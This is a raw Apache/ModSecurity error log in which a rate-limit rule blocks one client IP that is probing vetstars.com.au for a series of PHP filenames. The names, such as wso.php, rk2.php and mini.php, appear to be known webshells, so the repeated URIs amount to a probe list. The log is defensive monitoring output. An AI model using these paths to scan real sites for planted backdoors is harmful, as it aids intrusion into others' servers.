[Sun Dec 28 19:09:16.409038 2025] [:error] [pid 29437:tid 29469] [client 4.196.149.150:15136] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aVEP3BhDotAbVk6pZLe2dQAAAcM"]
[Sun Dec 28 19:09:16.480749 2025] [:error] [pid 29437:tid 29476] [client 4.196.149.150:15081] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aVEP3BhDotAbVk6pZLe2dgAAAco"]
[Sun Dec 28 19:09:16.655978 2025] [:error] [pid 29437:tid 29478] [client 4.196.149.150:15189] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rk2.php"] [unique_id "aVEP3BhDotAbVk6pZLe2dwAAAcw"]
[Sun Dec 28 19:09:16.885465 2025] [:error] [pid 42294:tid 42355] [client 4.196.149.150:15112] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aVEP3NTE5kYcYCOzl9Gz-QAAAIU"]
[Sun Dec 28 19:09:17.512728 2025] [:error] [pid 29437:tid 29477] [client 4.196.149.150:15174] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aVEP3RhDotAbVk6pZLe2eQAAAcs"]
[Sun Dec 28 19:09:17.763735 2025] [:error] [pid 29388:tid 29407] [client 4.196.149.150:15285] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aVEP3doLv2L2zI_SpdXTgwAAAUs"]
[Sun Dec 28 19:09:18.311482 2025] [:error] [pid 29437:tid 29472] [client 4.196.149.150:14979] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wso.php"] [unique_id "aVEP3hhDotAbVk6pZLe2ewAAAcY"]
[Sun Dec 28 19:09:18.665278 2025] [:error] [pid 29388:tid 29400] [client 4.196.149.150:15092] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aVEP3toLv2L2zI_SpdXThQAAAUQ"]
[Sun Dec 28 19:09:19.128053 2025] [:error] [pid 29436:tid 29462] [client 4.196.149.150:15156] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aVEP37chzOOtNL9VPNLdoQAAAZc"]
[Sun Dec 28 19:09:19.302013 2025] [:error] [pid 29388:tid 29414] [client 4.196.149.150:15079] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aVEP39oLv2L2zI_SpdXTiQAAAVI"]
[Sun Dec 28 19:09:19.470782 2025] [:error] [pid 29388:tid 29418] [client 4.196.149.150:15146] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we.php"] [unique_id "aVEP39oLv2L2zI_SpdXTigAAAVY"]
[Sun Dec 28 19:09:19.587599 2025] [:error] [pid 42293:tid 42324] [client 4.196.149.150:15090] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aVEP38vc9B-5cwN385LZdwAAAEE"]
[Sun Dec 28 19:09:19.646516 2025] [:error] [pid 29436:tid 29459] [client 4.196.149.150:14985] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aVEP37chzOOtNL9VPNLdogAAAZQ"]
[Sun Dec 28 19:09:19.739459 2025] [:error] [pid 29436:tid 29448] [client 4.196.149.150:15060] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aVEP37chzOOtNL9VPNLdowAAAYk"]
[Sun Dec 28 19:09:19.828118 2025] [:error] [pid 42293:tid 42346] [client 4.196.149.150:15111] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/karak.php"] [unique_id "aVEP38vc9B-5cwN385LZeAAAAFc"]
[Sun Dec 28 19:09:20.188883 2025] [:error] [pid 29436:tid 29461] [client 4.196.149.150:15129] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVEP4LchzOOtNL9VPNLdqAAAAZY"]
[Sun Dec 28 19:09:20.689945 2025] [:error] [pid 29436:tid 29441] [client 4.196.149.150:15093] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVEP4LchzOOtNL9VPNLdqgAAAYI"]
[Sun Dec 28 19:09:21.278779 2025] [:error] [pid 29436:tid 29439] [client 4.196.149.150:14983] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVEP4bchzOOtNL9VPNLdrQAAAYA"]
[Sun Dec 28 19:09:22.605819 2025] [:error] [pid 29436:tid 29440] [client 4.196.149.150:15069] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/content.php"] [unique_id "aVEP4rchzOOtNL9VPNLdrwAAAYE"]
[Sun Dec 28 19:09:22.956164 2025] [:error] [pid 29437:tid 29473] [client 4.196.149.150:15084] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aVEP4hhDotAbVk6pZLe2fAAAAcc"]
[Sun Dec 28 19:09:23.290438 2025] [:error] [pid 29436:tid 29445] [client 4.196.149.150:15016] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aVEP47chzOOtNL9VPNLdsQAAAYY"]
[Sun Dec 28 19:09:23.765872 2025] [:error] [pid 29437:tid 29483] [client 4.196.149.150:15054] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aVEP4xhDotAbVk6pZLe2fQAAAdE"]
[Sun Dec 28 19:09:24.524255 2025] [:error] [pid 29437:tid 29486] [client 4.196.149.150:15013] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/406.php"] [unique_id "aVEP5BhDotAbVk6pZLe2fwAAAdQ"]
[Sun Dec 28 19:09:24.890637 2025] [:error] [pid 42292:tid 42309] [client 4.196.149.150:15050] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aVEP5JyOrM_vaFx1osY_4AAAAA0"]
[Sun Dec 28 19:09:25.110161 2025] [:error] [pid 43789:tid 43796] [client 4.196.149.150:15052] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aVEP5Qa-tUppni4CcCYnjAAAAQU"]
[Sun Dec 28 19:09:25.217961 2025] [:error] [pid 29436:tid 29447] [client 4.196.149.150:15116] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aVEP5bchzOOtNL9VPNLdswAAAYg"]
[Sun Dec 28 19:09:25.373201 2025] [:error] [pid 29436:tid 29453] [client 4.196.149.150:15067] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mariju.php"] [unique_id "aVEP5bchzOOtNL9VPNLdtAAAAY4"]
[Sun Dec 28 19:09:25.506814 2025] [:error] [pid 29437:tid 29482] [client 4.196.149.150:14996] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVEP5RhDotAbVk6pZLe2gAAAAdA"]
[Sun Dec 28 19:09:25.622104 2025] [:error] [pid 42294:tid 42360] [client 4.196.149.150:15064] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVEP5dTE5kYcYCOzl9Gz_wAAAIo"]
[Sun Dec 28 19:09:25.932418 2025] [:error] [pid 42293:tid 42343] [client 4.196.149.150:15107] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVEP5cvc9B-5cwN385LZfgAAAFQ"]
[Sun Dec 28 19:09:26.495463 2025] [:error] [pid 43789:tid 43791] [client 4.196.149.150:15161] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/k.php"] [unique_id "aVEP5ga-tUppni4CcCYnjQAAAQA"]
[Sun Dec 28 19:09:26.662382 2025] [:error] [pid 29388:tid 29410] [client 4.196.149.150:15010] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aVEP5toLv2L2zI_SpdXTkQAAAU4"]
[Sun Dec 28 19:09:26.826184 2025] [:error] [pid 43789:tid 43813] [client 4.196.149.150:15009] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aVEP5ga-tUppni4CcCYnjgAAARY"]
[Sun Dec 28 19:09:26.992368 2025] [:error] [pid 42378:tid 42404] [client 4.196.149.150:14987] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aVEP5jgtcN-KHAjWrX8OxQAAANg"]
[Sun Dec 28 19:09:27.127338 2025] [:error] [pid 42293:tid 42347] [client 4.196.149.150:14976] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/cache.php"] [unique_id "aVEP58vc9B-5cwN385LZgQAAAFg"]
[Sun Dec 28 19:09:27.315010 2025] [:error] [pid 42293:tid 42338] [client 4.196.149.150:15022] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aVEP58vc9B-5cwN385LZggAAAE8"]
[Sun Dec 28 19:09:27.454357 2025] [:error] [pid 29437:tid 29470] [client 4.196.149.150:14918] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aVEP5xhDotAbVk6pZLe2gwAAAcQ"]
[Sun Dec 28 19:09:27.571784 2025] [:error] [pid 29436:tid 29458] [client 4.196.149.150:15151] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aVEP57chzOOtNL9VPNLdtwAAAZM"]
[Sun Dec 28 19:09:27.708243 2025] [:error] [pid 29436:tid 29450] [client 4.196.149.150:15027] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zfile.php"] [unique_id "aVEP57chzOOtNL9VPNLduAAAAYs"]
[Sun Dec 28 19:09:27.906155 2025] [:error] [pid 29436:tid 29452] [client 4.196.149.150:15117] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aVEP57chzOOtNL9VPNLduQAAAY0"]
[Sun Dec 28 19:09:28.044766 2025] [:error] [pid 29437:tid 29487] [client 4.196.149.150:14997] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aVEP6BhDotAbVk6pZLe2hAAAAdU"]
[Sun Dec 28 19:09:28.212349 2025] [:error] [pid 29437:tid 29484] [client 4.196.149.150:15005] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aVEP6BhDotAbVk6pZLe2hQAAAdI"]
[Sun Dec 28 19:09:28.542479 2025] [:error] [pid 42378:tid 42383] [client 4.196.149.150:15032] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/NewFile.php"] [unique_id "aVEP6DgtcN-KHAjWrX8OyAAAAMM"]
[Sun Dec 28 19:09:28.832036 2025] [:error] [pid 42292:tid 42318] [client 4.196.149.150:15357] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aVEP6JyOrM_vaFx1osY_5gAAABY"]
[Sun Dec 28 19:09:29.019858 2025] [:error] [pid 43789:tid 43811] [client 4.196.149.150:14982] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aVEP6Qa-tUppni4CcCYnkAAAARQ"]
[Sun Dec 28 19:09:29.398753 2025] [:error] [pid 43789:tid 43815] [client 4.196.149.150:15049] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aVEP6Qa-tUppni4CcCYnkQAAARg"]
[Sun Dec 28 19:09:29.899949 2025] [:error] [pid 29436:tid 29440] [client 4.196.149.150:15058] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/des.php"] [unique_id "aVEP6bchzOOtNL9VPNLdvAAAAYE"]
[Sun Dec 28 19:09:30.036121 2025] [:error] [pid 29436:tid 29445] [client 4.196.149.150:15166] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVEP6rchzOOtNL9VPNLdvQAAAYY"]
[Sun Dec 28 19:09:30.191212 2025] [:error] [pid 42378:tid 42388] [client 4.196.149.150:15102] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVEP6jgtcN-KHAjWrX8OyQAAAMg"]
[Sun Dec 28 19:09:30.425896 2025] [:error] [pid 42378:tid 42395] [client 4.196.149.150:15046] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVEP6jgtcN-KHAjWrX8OygAAAM8"]
[Sun Dec 28 19:09:30.573055 2025] [:error] [pid 43789:tid 43799] [client 4.196.149.150:17694] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ant.php"] [unique_id "aVEP6ga-tUppni4CcCYnkwAAAQg"]
[Sun Dec 28 19:09:30.715610 2025] [:error] [pid 43789:tid 43792] [client 4.196.149.150:14912] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aVEP6ga-tUppni4CcCYnlAAAAQE"]
[Sun Dec 28 19:09:30.852745 2025] [:error] [pid 29436:tid 29449] [client 4.196.149.150:15145] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aVEP6rchzOOtNL9VPNLdvgAAAYo"]
[Sun Dec 28 19:09:31.069742 2025] [:error] [pid 43789:tid 43812] [client 4.196.149.150:15094] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aVEP6wa-tUppni4CcCYnlQAAARU"]
[Sun Dec 28 19:09:31.224693 2025] [:error] [pid 29437:tid 29467] [client 4.196.149.150:14988] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jlex.php"] [unique_id "aVEP6xhDotAbVk6pZLe2igAAAcE"]
[Sun Dec 28 19:09:32.023416 2025] [:error] [pid 42293:tid 42346] [client 4.196.149.150:15021] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aVEP7Mvc9B-5cwN385LZhwAAAFc"]
[Sun Dec 28 19:09:32.311620 2025] [:error] [pid 42292:tid 42320] [client 4.196.149.150:15120] [client 4.196.149.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mini.php"] [unique_id "aVEP7JyOrM_vaFx1osY_6QAAABg"]
